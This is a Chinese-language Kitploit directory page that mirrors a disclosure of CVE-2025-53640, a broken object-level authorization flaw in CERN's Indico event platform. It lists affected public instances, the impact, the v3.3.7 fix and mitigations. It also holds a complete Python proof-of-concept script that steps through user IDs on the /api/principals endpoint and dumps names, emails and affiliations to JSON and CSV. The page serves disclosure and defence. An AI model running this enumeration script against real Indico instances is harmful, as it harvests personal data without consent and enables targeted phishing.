Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-53640 — CERN的Indico中存在的破坏对象级授权(BOLA)漏洞导致认证用户枚举。 | Kitploit
工具/GitHubGitHub/rafaelcorvino1/cve-2025-53640
OSINT (开源情报)漏洞分析Web应用程序漏洞利用API安全测试信息收集渗透测试
GitHubrafaelcorvino1/cve-2025-53640

CVE-2025-53640

CERN的Indico中存在的破坏对象级授权(BOLA)漏洞导致认证用户枚举。

查看仓库
1168个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-53640 – CERN Indico 中的认证用户枚举漏洞(BOLA 漏洞)

2025-07-19_11-19

CVE Badge

CVE-2025-53640 的 PoC 和技术分析:Indico 中存在一个对象级授权失效(BOLA)漏洞,可通过端点枚举已认证用户,泄露姓名、电子邮件和所属机构。包含利用脚本、请求分析和截图。影响全球部署的 Indico 实例(欧洲核子研究中心(CERN)、联合国(UN)、麻省理工学院(MIT)、欧洲航天局(ESA)等)。

描述

开源应用程序 Indico 中存在一个对象级授权失效(BOLA)漏洞,允许通过端点批量枚举用户。

该端点本意是解析特定表单字段中的用户 ID,但却可被滥用来检索 任意有效用户 ID 的个人详细信息:

  • 全名

  • 电子邮件地址

  • 头衔

  • 所属机构

  • 头像 URL

该漏洞已由 Indico 维护者报告并确认,官方跟踪编号为 CVE-2025-53640

利用条件

  • 需要有效的认证会话。

  • 然而,大多数公开 Indico 实例允许自行注册,且无需电子邮件验证、验证码或手动审批。

  • 这使得该漏洞在创建普通账户后,实际上可被未经认证的用户利用。

全球影响

Indico 是由欧洲核子研究中心(CERN)开发的广泛采用的活动与会议管理平台,为全球学术和机构基础设施提供支持:

  • CERN(欧洲核子研究中心): 每年超过 90 万场活动;每天预订 200 多个会议室。

  • 全球范围: 每年约 14.5 万场活动,覆盖 300 多家机构。

  • 联合国(UN): 每年超过 18 万名参与者。

  • 联合国日内瓦办事处(UNOG): 每年多达 70 万名用户。

  • 广泛用于大学、实验室、研究机构和政府机构。

受影响公共实例示例:

  • https://indico.cern.ch

  • https://indico.esa.int

  • https://indico.mit.edu

由于其在 科研、学术和政府 环境中的广泛采用,该漏洞带来了严重风险:

  • 研究人员、工作人员和管理人员的身份泄露

  • 大规模隐私泄露和机构目录曝光

  • 针对钓鱼或社会工程学攻击的有针对性的侦察

  • 可能导致敏感研究及政策倡议的泄露

影响

  • 个人信息(PII)泄露

  • 高权限用户(管理员、组织者)枚举

  • 支持大规模钓鱼和鱼叉式钓鱼攻击

  • 违反 GDPR、LGPD 等法规及内部机构政策

  • 根据司法管辖区域,可能构成须报告的数据泄露事件

修复补丁

该问题已在 Indico v3.3.7 中修复。

根据维护者的说明,已调整端点的行为,防止通过可预测的 ID 批量转储用户数据(姓名、所属机构和电子邮件)。此外还引入了一个新的配置标志 ALLOW_PUBLIC_USER_SEARCH。

其他缓解措施包括:

  • 限制注册邮箱检查

  • 当公开搜索被禁用时,禁用人员链接解析

  • 在受限搜索条件下,为没有 ACL 的事件添加 UI 警告

概念验证(PoC)

利用脚本

root@kitploit:~
#!/usr/bin/env python3
import requests
import json
import csv
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url = "https://indico.<URL>/api/principals"
headers = {
    "Cookie": "indico_session=YOUR_SESSION_COOKIE_HERE",
    "Content-Type": "application/json",
    "X-Csrf-Token": "YOUR_CSRF_TOKEN_HERE"
}

def enumerate_users(max_errors=10):
    user_id = 1
    errors = 0
    results = []

    while errors < max_errors:
        payload = {"values": [f"User:{user_id}"]}
        response = requests.post(url, headers=headers, data=json.dumps(payload), verify=False)

        if response.status_code == 200:
            data = response.json()
            key = f"User:{user_id}"
            if key in data and not data[key].get("invalid", True):
                user = data[key]
                print(f"[+] ID {user_id}: {user['first_name']} {user['last_name']} - {user['email']}")
                results.append({
                    "user_id": user_id,
                    "name": f"{user['first_name']} {user['last_name']}",
                    "email": user["email"],
                    "affiliation": user["affiliation"],
                    "title": user["title"],
                    "avatar_url": user["avatar_url"]
                })
                errors = 0
            else:
                print(f"[-] ID {user_id}: Invalid")
                errors += 1
        else:
            print(f"[!] ID {user_id}: HTTP Error {response.status_code}")
            errors += 1
        user_id += 1

    with open("enumerated_users.json", "w", encoding="utf-8") as jf:
        json.dump(results, jf, indent=2, ensure_ascii=False)

    with open("enumerated_users.csv", "w", newline="", encoding="utf-8") as cf:
        writer = csv.DictWriter(cf, fieldnames=["user_id", "name", "email", "affiliation", "title", "avatar_url"])
        writer.writeheader()
        writer.writerows(results)

    print("Enumeration finished.")

if __name__ == "__main__":
    enumerate_users()
图片 图片

缓解建议

  • 根据角色或上下文限制对端点的访问

  • 在 indico.conf 中设置 ALLOW_PUBLIC_USER_SEARCH = false

  • 限制暴露的用户字段,仅保留必要信息

  • 禁用或限制自行注册(例如,电子邮件验证、管理员审批)

  • 对端点启用监控和速率限制

  • 立即升级至 Indico 3.3.7 或更高版本

  • 监控访问日志中的枚举模式

CVE

官方编号:CVE-2025-53640

披露

该漏洞是在 RNP(巴西国家教育研究网络)红队驻留项目 期间进行安全评估时发现的。

所有研究和测试均在事先授权和监督下进行。特别感谢 RNP 安全团队 提供道德指导与基础设施支持。

此 CVE 强调了在管理敏感机构数据的平台上强制执行严格的对象级访问控制的重要性。

参考

  • GitHub 安全公告 – GHSA-q28v-664f-q6wj

  • Indico 提交 f858355

  • NVD 记录

  • CVE.org 注册信息

  • Indico 配置:ALLOW_PUBLIC_USER_SEARCH

  • Indico 升级指南

  • 发布说明 – v3.3.7

下载工具